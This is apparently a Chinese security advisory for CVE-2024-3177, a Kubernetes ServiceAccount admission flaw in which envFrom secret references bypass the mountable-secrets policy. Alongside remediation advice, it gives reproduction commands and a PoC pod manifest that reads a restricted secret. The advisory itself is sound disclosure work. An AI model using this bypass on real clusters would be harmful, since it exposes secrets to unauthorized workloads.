一、漏洞简介¶
1.1 漏洞背景¶
ServiceAccount 准入插件可以强制执行挂载密钥策略,确保使用特定 ServiceAccount 的 Pod 只能引用该 ServiceAccount secrets 字段中指定的密钥。
1.2 漏洞概述(包含 CVE 编号、危害等级、漏洞类型、披露时间等)¶
| 项目 | 内容 |
|---|---|
| 漏洞编号 | CVE-2024-3177 |
| 危害等级 | LOW / 2.7 |
| 漏洞类型 | ServiceAccount密钥策略绕过 |
| 披露时间 | 2024-04-22 |
| 影响组件 | Kubernetes |
- CVE编号: CVE-2024-3177
- 危害等级: 低危 (Low)
- CVSS评分: 2.7
- CVSS向量: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:N/A:N
- 漏洞类型: 策略绕过
- 发现者: tha3e1vl
补充核验信息:公开时间:2024-04-22;NVD 评分:2.7(LOW);CWE:CWE-20。
二、影响范围¶
2.1 受影响的版本¶
- kube-apiserver v1.29.0 - v1.29.3
- kube-apiserver v1.28.0 - v1.28.8
- kube-apiserver <= v1.27.12
2.2 不受影响的版本¶
- kube-apiserver v1.29.4+
- kube-apiserver v1.28.9+
- kube-apiserver v1.27.13+
2.3 触发条件(如特定模块、特定配置、特定运行环境等)¶
所有以下条件必须同时满足:
1. 启用 ServiceAccount 准入插件(默认启用)
2. ServiceAccount 使用 kubernetes.io/enforce-mountable-secrets 注解
3. Pod 使用 envFrom 字段的容器、init容器或临时容器
三、漏洞详情与原理解析¶
3.1 漏洞触发机制¶
ServiceAccount 准入插件在验证 Pod 是否可以访问特定 Secret 时,未正确检查 envFrom 字段。攻击者可以通过 envFrom 引用未授权的 Secret。
3.2 源码层面的根因分析(结合源码与补丁对比)¶
问题位于 ServiceAccount 准入插件:
// plugin/pkg/admission/serviceaccount/admission.go
func (s *serviceAccount) Admit(...) {
// 验证 volumes 中的 secrets
// 验证 env 中的 secrets
// 遗漏了 envFrom 字段的验证!
}
修复补丁在 envFrom 验证逻辑中添加了对 Secret 引用的检查。
四、漏洞复现(可选)¶
4.1 环境搭建¶
# 创建受限 ServiceAccount
kubectl create serviceaccount restricted-sa
# 添加密钥策略注解
kubectl annotate serviceaccount restricted-sa \
kubernetes.io/enforce-mountable-secrets=true
# 创建允许访问的 Secret
kubectl create secret generic allowed-secret --from-literal=key=allowed
# 创建不应访问的 Secret
kubectl create secret generic restricted-secret --from-literal=key=restricted
4.2 PoC 演示与测试过程¶
apiVersion: v1
kind: Pod
metadata:
name: bypass-pod
spec:
serviceAccountName: restricted-sa
containers:
- name: test
image: busybox
command: ["sleep", "3600"]
envFrom:
- secretRef:
name: restricted-secret # 通过 envFrom 绕过限制
五、修复建议与缓解措施¶
5.1 官方版本升级建议¶
升级 kube-apiserver 到修复版本。
5.2 临时缓解方案(如修改配置文件、关闭相关模块、增加 WAF 规则等)¶
除升级外无已知临时缓解措施。
检测命令:
# 查找使用 enforce-mountable-secrets 的 ServiceAccount
kubectl get serviceaccounts --all-namespaces -o jsonpath="{range .items[?(@.metadata.annotations['kubernetes\\.io/enforce-mountable-secrets']=='true')]}{.metadata.namespace}{'\t'}{.metadata.name}{'\n'}{end}"
六、参考信息 / 参考链接¶
6.1 官方安全通告¶
- https://github.com/kubernetes/kubernetes/issues/124336
- https://github.com/kubernetes/kubernetes/pull/124322
6.2 其他技术参考资料¶
- NVD:https://nvd.nist.gov/vuln/detail/CVE-2024-3177
- CVE:https://www.cve.org/CVERecord?id=CVE-2024-3177
- http://www.openwall.com/lists/oss-security/2024/04/16/4
- https://github.com/kubernetes/kubernetes/issues/124336
- https://groups.google.com/g/kubernetes-security-announce/c/JxjHf7fkVd8/m/oVCzypyOAQAJ
- https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/QRYFHIQ6XRKRYBI2F5UESH67BJBQXUPT/
- https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/WL54MTLGMTBZZO5PYGEGEBERTMADC4WC/
- https://github.com/kubernetes/kubernetes/pull/124322